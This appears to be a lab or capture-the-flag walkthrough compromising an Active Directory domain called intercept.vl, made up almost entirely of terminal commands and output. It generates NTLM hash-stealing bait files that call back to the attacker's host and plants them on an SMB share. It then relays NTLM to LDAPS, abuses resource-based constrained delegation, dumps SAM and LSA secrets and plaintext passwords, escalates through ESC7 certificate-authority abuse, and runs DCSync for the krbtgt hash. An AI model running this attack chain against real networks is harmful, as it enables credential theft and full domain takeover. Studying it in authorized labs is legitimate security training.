Nmap scan report for 10.10.141.165
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-30 01:05:24Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55168/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55195/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55206/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
55221/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Nmap scan report for 10.10.141.166
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7680/tcp open tcpwrapped syn-ack ttl 127
Readme1.txt
--------------------------
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).
Readme2.txt
-------------------------
Driver still in development, coming soon.
Crafting malicious files to capture NTLMv2 hashes
❯ python3 ntlm_theft.py -g all --server 10.8.5.48 --filename update
Created: update/update.scf (BROWSE TO FOLDER)
Created: update/update-(url).url (BROWSE TO FOLDER)
Created: update/update-(icon).url (BROWSE TO FOLDER)
Created: update/update.lnk (BROWSE TO FOLDER)
Created: update/update.rtf (OPEN)
Created: update/update-(stylesheet).xml (OPEN)
Created: update/update-(fulldocx).xml (OPEN)
Created: update/update.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: update/update-(includepicture).docx (OPEN)
Created: update/update-(remotetemplate).docx (OPEN)
Created: update/update-(frameset).docx (OPEN)
Created: update/update-(externalcell).xlsx (OPEN)
Created: update/update.wax (OPEN)
Created: update/update.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: update/update.asx (OPEN)
Created: update/update.jnlp (OPEN)
Created: update/update.application (DOWNLOAD AND OPEN)
Created: update/update.pdf (OPEN AND ALLOW)
Created: update/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: update/Autorun.inf (BROWSE TO FOLDER)
Created: update/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
Uploading the files into dev folder
❯ smbclient '\\10.10.141.166\dev' -U 'Intrusionz3r0' -N
Try "help" to get a list of possible commands.
smb: \> recurse true
smb: \> mput *
❯ nxc ldap 10.10.141.165-166 -u kathryn.spencer -p 'Chocolate1' -M ldap-checker
SMB 10.10.202.53 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
LDAP 10.10.202.53 389 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1
LDAP-CHE... 10.10.202.53 389 DC01 LDAP Signing NOT Enforced!
LDAP-CHE... 10.10.202.53 389 DC01 LDAPS Channel Binding is set to "NEVER"
Discovering a WebClient Service available
#Enumerate WebClient Using NetExec
❯ nxc smb 10.10.141.165-166 -u kathryn.spencer -p 'Chocolate1' -M webdav
SMB 10.10.202.53 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
SMB 10.10.202.54 445 WS01 [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB 10.10.202.53 445 DC01 [+] intercept.vl\kathryn.spencer:Chocolate1
SMB 10.10.202.54 445 WS01 [+] intercept.vl\kathryn.spencer:Chocolate1
WEBDAV 10.10.202.54 445 WS01 WebClient Service enabled on: 10.10.202.54
#Enumerate WebClient Using webclientservicescanner
❯ webclientservicescanner intercept.vl/kathryn.spencer:Chocolate1@10.10.141.165
WebClient Service Scanner v0.1.0 - pixis (@hackanddo) - Based on @tifkin_ idea
[10.10.202.53] STOPPED
[10.10.202.54] RUNNING
#Enumerate Webclient Using GetWebDAVStatus.exe
GetWebDAVStatus.exe 10.10.141.166
WebClient Service enabled on: 10.10.141.166
WebClient service can be indirectly abused by attackers to coerce authentications. This technique needs to be combined with other coercion techniques (e.g. PetitPotam, PrinterBug), or multicast poisoning, to act as a booster for these techniques. It allows attackers to elicit authentications made over HTTP instead of SMB, hence heightening NTLM relay capabilities.
Abusing NTLM Relay Attack
To successfully carry out this attack, the environment must have the following misconfigurations:
LDAP Signing is NOT enforced
LDAPS Channel Binding is set to "NEVER"
MachineAccountQuota > 0 (allows low-privileged users to create computer accounts)
PetitPotam vulnerability is present
Valid NetBIOS name resolution via Responder
Intranet zone conditions has to be meet.
Which means add our Computer to the domain using the NetBIOS provided by Responder
Running responder to generate Netbios
/usr/share/responder/Responder.conf > SMB = Off and HTTP = Off
❯ impacket-ntlmrelayx -t ldaps://DC01.intercept.vl --delegate-access -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] HTTPD(80): Connection from 10.10.141.166 controlled, attacking target ldaps://DC01.intercept.vl
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] HTTPD(80): Authenticating against ldaps://DC01.intercept.vl as INTERCEPT/WS01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] HTTPD(80): Connection from 10.10.141.166 controlled, attacking target ldaps://DC01.intercept.vl
[*] HTTPD(80): Client requested path: /intrusionz3r0/pipe/srvsvc
[*] Attempting to create computer in: CN=Computers,DC=intercept,DC=vl
[*] Adding new computer with username: JDJUKOKR$ and password: k4f6$32#HX2#$/{ result: OK
[*] Delegation rights modified succesfully!
[*] JDJUKOKR$ can now impersonate users on WS01$ via S4U2Proxy
<SNIF>
Abusing Resource Based Constrained Delegation
❯ impacket-rbcd -delegate-from 'JDJUKOKR$' -delegate-to 'WS01$' -action 'write' 'intercept.vl/JDJUKOKR$:k4f6$32#HX2#$/{'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Accounts allowed to act on behalf of other identity:
[*] JDJUKOKR$ (S-1-5-21-3031021547-1480128195-3014128932-4101)
[*] JDJUKOKR$ can already impersonate users on WS01$ via S4U2Proxy
[*] Not modifying the delegation rights.
[*] Accounts allowed to act on behalf of other identity:
[*] JDJUKOKR$ (S-1-5-21-3031021547-1480128195-3014128932-4101)
Requesting Ticket Granting Ticket using S4U
❯ impacket-getST 'intercept.vl/JDJUKOKR$:k4f6$32#HX2#$/{' -spn 'cifs/ws01.intercept.vl' -impersonate Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache
Dumping SAM database and LSA Secrets
❯ KRB5CCNAME='Administrator@cifs_ws01.intercept.vl@INTERCEPT.VL.ccache' impacket-secretsdump -k -no-pass WS01.intercept.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x04718518c7f81484a5ba5cc7f16ca912
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:831cbc509daa37aff98250b635e7f482:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:48daaaaa9654c3754d42b40e292ba63f:::
[*] Dumping cached domain logon information (domain/username:hash)
INTERCEPT.VL/Simon.Bowen:$DCC2$10240#Simon.Bowen#35e1bb1dbd5f474e21819bb03ae5d103: (2023-06-27 20:07:12)
INTERCEPT.VL/Kathryn.Spencer:$DCC2$10240#Kathryn.Spencer#4d8e1b44d30998c82793a9808b959d91: (2023-06-29 11:51:33)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INTERCEPT\WS01$:plain_password_hex:a5acf58651f67d4a49babcc008c3894b20ed9193d53362b81deadc3136844af97c775d4074d3c5f9c5ba5c0c55cad0d2f1992739b2a73921b1c8eaddebb652e0fe278f269dbda7a47f1e0fd8d2e816bcfa745344dcbb466e8c213a0d195b1d9e57ed4ff0888e905733fc959ef6c1dbd4e6001b38267fe3aa235834b75157d5ca4bd6cf8aba19b3a31afd5613c0acb1ec1365d5b737de435530792888678b811b7a060cf5f07313e216d1f3b90de551264f99f95c014fddc0ff738263d3eea3d0d75d8431b431d3e225787869658140e269405dd4a9c83d13fffac52e50a3d7402735d1b29f71c356ff7106a5088baff3
INTERCEPT\WS01$:aad3b435b51404eeaad3b435b51404ee:ff4e454b3439375b1a4d88b732ce4232:::
[*] DefaultPassword
intercept.vl\Kathryn.Spencer:Chocolate1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf6f65580470c139808ab7f0ffb709773d1531dc3
dpapi_userkey:0x24122e60857c28b7f2e6bdd138f22e3e4ddd58f3
[*] NL$KM
0000 4C A8 6F 51 3B B6 E6 22 0B A7 7A FD 4F 32 EA BC L.oQ;.."..z.O2..
0010 78 7A 98 1E DD 83 F2 70 37 73 9B 6C D0 03 9B 7F xz.....p7s.l....
0020 FA EA 8D AF A0 84 F9 0D 24 17 3C C9 97 3D 8A E7 ........$.<..=..
0030 BC EE 5D B7 20 73 02 B7 E1 A7 62 E6 4D 8E F8 ED ..]. s....b.M...
NL$KM:4ca86f513bb6e6220ba77afd4f32eabc787a981edd83f27037739b6cd0039b7ffaea8dafa084f90d24173cc9973d8ae7bcee5db7207302b7e1a762e64d8ef8ed
[*] _SC_HelpdeskService
Simon.Bowen@intercept.vl:b0OI_fHO859+Aw
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Credentials found: Simon.Bowen:b0OI_fHO859+Aw
Compromise Domain Controller
During the enumeration phase, it was discovered that the user Simon.Bowen is a member of the HelpDesk domain group. This group has GenericAll permissions over the CA-Managers group, which manages the enterprise Certificate Authority (CA) intercept-DC01-CA.
This attack exploits ESC7, where over-permissioned users/groups are able to reconfigure the Certificate Authority. By enabling SAN injection and creating malicious certificates, the attacker escalates to Domain Admin privileges without triggering standard authentication alerts.
❯ certipy-ad ca -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -dc-ip 10.10.141.165 -ca intercept-DC01-CA -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'intercept-DC01-CA'
Adding officer on intercept-DC01-CA
❯ certipy-ad ca -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -dc-ip 10.10.141.165 -ca intercept-DC01-CA -add-officer Simon.Bowen
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Simon.Bowen' on 'intercept-DC01-CA'
Requesting Administrator certificate using Subject Alternative Name (SAN)
❯ certipy-ad req -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -dc-ip 10.10.141.165 -ca intercept-DC01-CA -template SubCA -upn Administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 5
Would you like to save the private key? (y/N) y
[*] Saved private key to 5.key
[-] Failed to request certificate
Although initial enrollment failed due to template restrictions, the request was submitted and manually approved via:
Approving administrator certificate
❯ certipy-ad ca -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -dc-ip 10.10.141.165 -ca intercept-DC01-CA -issue-request 5
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
Retrieving Administrator certificate
❯ certipy-ad req -u 'Simon.Bowen' -p 'b0OI_fHO859+Aw' -dc-ip 10.10.141.165 -ca intercept-DC01-CA -retrieve 5
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 5
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Loaded private key from '5.key'
[*] Saved certificate and private key to 'administrator.pfx'
Requesting Administrator's Ticket Granting Ticket
❯ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.141.165 -user Administrator -domain intercept.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@intercept.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@intercept.vl': aad3b435b51404eeaad3b435b51404ee:ad95c338a6cc5729ae7390acbe0ca91f
Performing DCSync Attack
❯ impacket-secretsdump intercept.vl/administrator@10.10.141.165 -hashes aad3b435b51404eeaad3b435b51404ee:ad95c338a6cc5729ae7390acbe0ca91f -just-dc-user krbtgt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6ff6959c0c141860804532b61d7cbe2f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:1c1047fe5fa8d7dc5810b174e13d28a17c8afb7ddd9c56577038d088ebb46b38
krbtgt:aes128-cts-hmac-sha1-96:04e31eb0a8c63d0f972e12d4c744331a
krbtgt:des-cbc-md5:852a92ab152cb952
[*] Cleaning up...
